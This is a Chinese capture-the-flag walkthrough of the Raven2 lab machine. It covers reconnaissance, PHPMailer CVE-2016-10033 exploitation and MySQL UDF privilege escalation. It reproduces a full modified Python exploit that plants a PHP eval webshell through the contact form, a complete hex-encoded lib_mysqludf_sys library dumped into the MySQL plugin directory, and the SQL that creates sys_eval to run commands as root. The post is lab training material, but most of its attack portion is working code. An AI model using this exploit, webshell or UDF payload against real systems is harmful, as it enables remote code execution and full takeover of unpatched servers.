[PHP知识库]raven2靶机-udf提权

考点：CVE 2016-10033、Mysql-udf提权

步骤：

1、靶机导入虚拟机并开机，确定网络是nat模式，所在网络C段为192.168.43.1/24

?2、C段探测寻找靶机入口点:

nmap -T4 -n -v 192.168.43.1/24 -sn

得到靶机IP：192.168.43.146 ?????

?3、探测靶机开放服务

nmap -T4 -n -v 192.168.43.146

?4、打开http://192.168.43.146/进行手工信息收集， 同时把url扔进awvs进行扫描，共找到两个服务目录vendor、wordpress

?5、vendor存在目录遍历，进入PATH文件发现flag1，同时得到网站路径。

????????打开VERSION得到一个版本信息

??????? 打开SECURITY.md提示低于5.2.18版本的phpmailer存在CVE-2016-10033，此PHPmailer版本是5.2.16。

????????wordpress经wpscan探测发现http://192.168.43.146/wordpress/xmlrpc.php 利用此文件进行了弱口令爆破，无果。

6、寻找exp.

????????直接利用kali里的exp，40974.py一直没法反弹回shell，就进行了魔改，直接写一句话木马到靶站根目录下。

?魔改后exp:

利用靶站url：http://192.168.43.146/contact.php

"""
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# -*- coding: cp936 -*-
# CVE : CVE 2016-10033

Description:
Exploiting PHPMail with back connection (reverse shell) from the target

Usage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.py

Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU

Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
"""
from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh

os.system('clear')
print("\n")
print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://192.168.43.146/contact.php'
backdoor = '/dll.php'
#网站目录要改,payload改成一句话木马
payload = '<?php eval($_POST[1]);?> '
fields={'action': 'submit',
        'name': payload,
        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/dll.php server\" @protonmail.com',
        'message': 'Pwned'}

m = MultipartEncoder(fields=fields,
                     boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',
         'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}


print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
                  headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
    print('[+]  ExPLoITeD ' + target)

7、使用蚁剑连接exp上传的一句话木马，getshell获得flag2，用户权限为www-data。

?8、提权

ps ef |grep mysql 

发现以root权限运行的mysql进程，尝试udf提权。

先通过访问wp-config.php得到数据库密码。

附上linux_mysql_udf提权步骤：

（1）、上传adminer.php，并通过wordpress获取的数据库密码进行连接，数据库可不用填写。

（2）、获取mysql插件路径

show variables like '%plugin%';

?（3）、写入自定义函数udf库到插件目录:（注意最后的路径要改为查询到的插件路径）

select unhex('7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D401000000000000801720000000000008000000000000008017200000000000D01620000000000006000000020000000000000000000000D81620000000000006000000030000000000000000000000E016200000000000060000000A00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000A00000000000000000000003817200000000000070000000B00000000000000000000004017200000000000070000000C00000000000000000000004817200000000000070000000D00000000000000000000005017200000000000070000000E00000000000000000000005817200000000000070000000F00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883EC08E827010000E8C2010000E88D0500004883C408C3FF35320B2000FF25340B20000F1F4000FF25320B20006800000000E9E0FFFFFFFF252A0B20006801000000E9D0FFFFFFFF25220B20006802000000E9C0FFFFFFFF251A0B20006803000000E9B0FFFFFFFF25120B20006804000000E9A0FFFFFFFF250A0B20006805000000E990FFFFFFFF25020B20006806000000E980FFFFFFFF25FA0A20006807000000E970FFFFFFFF25F20A20006808000000E960FFFFFFFF25EA0A20006809000000E950FFFFFFFF25E20A2000680A000000E940FFFFFFFF25DA0A2000680B000000E930FFFFFFFF25D20A2000680C000000E920FFFFFFFF25CA0A2000680D000000E910FFFFFFFF25C20A2000680E000000E900FFFFFFFF25BA0A2000680F000000E9F0FEFFFF00000000000000004883EC08488B05F50920004885C07402FFD04883C408C390909090909090909055803D900A2000004889E5415453756248833DD809200000740C488B3D6F0A2000E812FFFFFF488D05130820004C8D2504082000488B15650A20004C29E048C1F803488D58FF4839DA73200F1F440000488D4201488905450A200041FF14C4488B153A0A20004839DA72E5C605260A2000015B415CC9C3660F1F8400000000005548833DBF072000004889E57422488B05530920004885C07416488D3DA70720004989C3C941FFE30F1F840000000000C9C39090C3C3C3C331C0C3C341544883C9FF4989F455534883EC10488B4610488B3831C0F2AE48F7D1488D69FFE8B6FEFFFF83F80089C77C61754FBF1E000000E803FEFFFF488D70FF4531C94531C031FFB921000000BA07000000488D042E48F7D64821C6E8AEFEFFFF4883F8FF4889C37427498B4424104889EA4889DF488B30E852FEFFFFFFD3EB0CBA0100000031F6E802FEFFFF31C0EB05B8010000005A595B5D415CC34157BF00040000415641554531ED415455534889F34883EC1848894C24104C89442408E85AFDFFFFBF010000004989C6E84DFDFFFFC600004889C5488B4310488D356A030000488B38E814FEFFFF4989C7EB374C89F731C04883C9FFF2AE4889EF48F7D1488D59FF4D8D641D004C89E6E8DDFDFFFF4A8D3C284889DA4C89F64D89E54889C5E8A8FDFFFF4C89FABE080000004C89F7E818FDFFFF4885C075B44C89FFE82BFDFFFF807D0000750A488B442408C60001EB1F42C6442DFF0031C04883C9FF4889EFF2AE488B44241048F7D148FFC94889084883C4184889E85B5D415C415D415E415FC34883EC08833E014889D7750B488B460831D2833800740E488D353A020000E817FDFFFFB20188D05EC34883EC08833E014889D7750B488B460831D2833800740E488D3511020000E8EEFCFFFFB20188D05FC3554889FD534889D34883EC08833E027409488D3519020000EB3F488B46088338007409488D3526020000EB2DC7400400000000488B4618488B384883C70248037808E801FCFFFF31D24885C0488945107511488D351F0200004889DFE887FCFFFFB20141585B88D05DC34883EC08833E014889F94889D77510488B46088338007507C6010131C0EB0E488D3576010000E853FCFFFFB0014159C34154488D35EF0100004989CC4889D7534889D34883EC08E832FCFFFF49C704241E0000004889D8415A5B415CC34883EC0831C0833E004889D7740E488D35D5010000E807FCFFFFB001415BC34883EC08488B4610488B38E862FBFFFF5A4898C34883EC28488B46184C8B4F104989F2488B08488B46104C89CF488B004D8D4409014889C6F3A44C89C7498B4218488B0041C6040100498B4210498B5218488B4008488B4A08BA010000004889C6F3A44C89C64C89CF498B4218488B400841C6040000E867FBFFFF4883C4284898C3488B7F104885FF7405E912FBFFFFC3554889CD534C89C34883EC08488B4610488B38E849FBFFFF4885C04889C27505C60301EB1531C04883C9FF4889D7F2AE48F7D148FFC948894D00595B4889D05DC39090909090909090554889E5534883EC08488B05C80320004883F8FF7419488D1DBB0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E86FFBFFFF4883C408C345787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D657465720045787065637465642065786163746C792074776F20617267756D656E747300457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E34004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F290000011B033B980000001200000040FBFFFFB400000041FBFFFFCC00000042FBFFFFE400000043FBFFFFFC00000044FBFFFF1401000047FBFFFF2C01000048FBFFFF44010000E2FBFFFF6C010000CAFCFFFFA4010000F3FCFFFFBC0100001CFDFFFFD401000086FDFFFFF4010000B6FDFFFF0C020000E3FDFFFF2C02000002FEFFFF4402000016FEFFFF5C02000084FEFFFF7402000093FEFFFF8C0200001400000000000000017A5200017810011B0C070890010000140000001C00000084FAFFFF01000000000000000000000014000000340000006DFAFFFF010000000000000000000000140000004C00000056FAFFFF01000000000000000000000014000000640000003FFAFFFF010000000000000000000000140000007C00000028FAFFFF030000000000000000000000140000009400000013FAFFFF01000000000000000000000024000000AC000000FCF9FFFF9A00000000420E108C02480E18410E20440E3083048603000000000034000000D40000006EFAFFFFE800000000420E10470E18420E208D048E038F02450E28410E30410E38830786068C05470E50000000000000140000000C0100001EFBFFFF2900000000440E100000000014000000240100002FFBFFFF2900000000440E10000000001C0000003C01000040FBFFFF6A00000000410E108602440E188303470E200000140000005C0100008AFBFFFF3000000000440E10000000001C00000074010000A2FBFFFF2D00000000420E108C024E0E188303470E2000001400000094010000AFFBFFFF1F00000000440E100000000014000000AC010000B6FBFFFF1400000000440E100000000014000000C4010000B2FBFFFF6E00000000440E300000000014000000DC01000008FCFFFF0F00000000000000000000001C000000F4010000FFFBFFFF4100000000410E108602440E188303470E2000000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF000000000000000000000000000000000100000000000000B2010000000000000C00000000000000A00B0000000000000D00000000000000781100000000000004000000000000005801000000000000F5FEFF6F00000000A00200000000000005000000000000006807000000000000060000000000000060030000000000000A00000000000000E0010000000000000B0000000000000018000000000000000300000000000000E81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200A0000000000000700000000000000C0090000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000A009000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000004809000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000CE0B000000000000DE0B000000000000EE0B000000000000FE0B0000000000000E0C0000000000001E0C0000000000002E0C0000000000003E0C0000000000004E0C0000000000005E0C0000000000006E0C0000000000007E0C0000000000008E0C0000000000009E0C000000000000AE0C000000000000BE0C0000000000008017200000000000004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200002E7368737472746162002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E64796E616D6963002E676F74002E676F742E706C74002E64617461002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000B000000F6FFFF6F0200000000000000A002000000000000A002000000000000C000000000000000030000000000000008000000000000000000000000000000150000000B00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001D00000003000000020000000000000068070000000000006807000000000000E00100000000000000000000000000000100000000000000000000000000000025000000FFFFFF6F020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000FEFFFF6F0200000000000000A009000000000000A009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000C009000000000000C00900000000000060000000000000000300000000000000080000000000000018000000000000004B000000040000000200000000000000200A000000000000200A0000000000008001000000000000030000000A0000000800000000000000180000000000000055000000010000000600000000000000A00B000000000000A00B000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000B80B000000000000B80B00000000000010010000000000000000000000000000040000000000000010000000000000005B000000010000000600000000000000D00C000000000000D00C000000000000A80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000E000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000DD000000000000000000000000000000010000000000000001000000000000006F000000010000000200000000000000641200000000000064120000000000009C000000000000000000000000000000040000000000000000000000000000007D000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008E000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009A000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000A3000000010000000300000000000000D016200000000000D0160000000000001800000000000000000000000000000008000000000000000800000000000000A8000000010000000300000000000000E816200000000000E8160000000000009800000000000000000000000000000008000000000000000800000000000000B1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000B7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000BC000000010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000') into dumpfile '/usr/lib/mysql/plugin/cc.so';

（4）、创建函数:

create function sys_eval returns string soname "cc.so"; 

（5）、执行命令:

select sys_eval('whoami');

(6)、 查看/root/下的flag文件名称并得到flag4

（7)、 flag3给落下了，使用find查找找到flag3：

按路径访问获得flag3

?一共4个flag整整齐齐。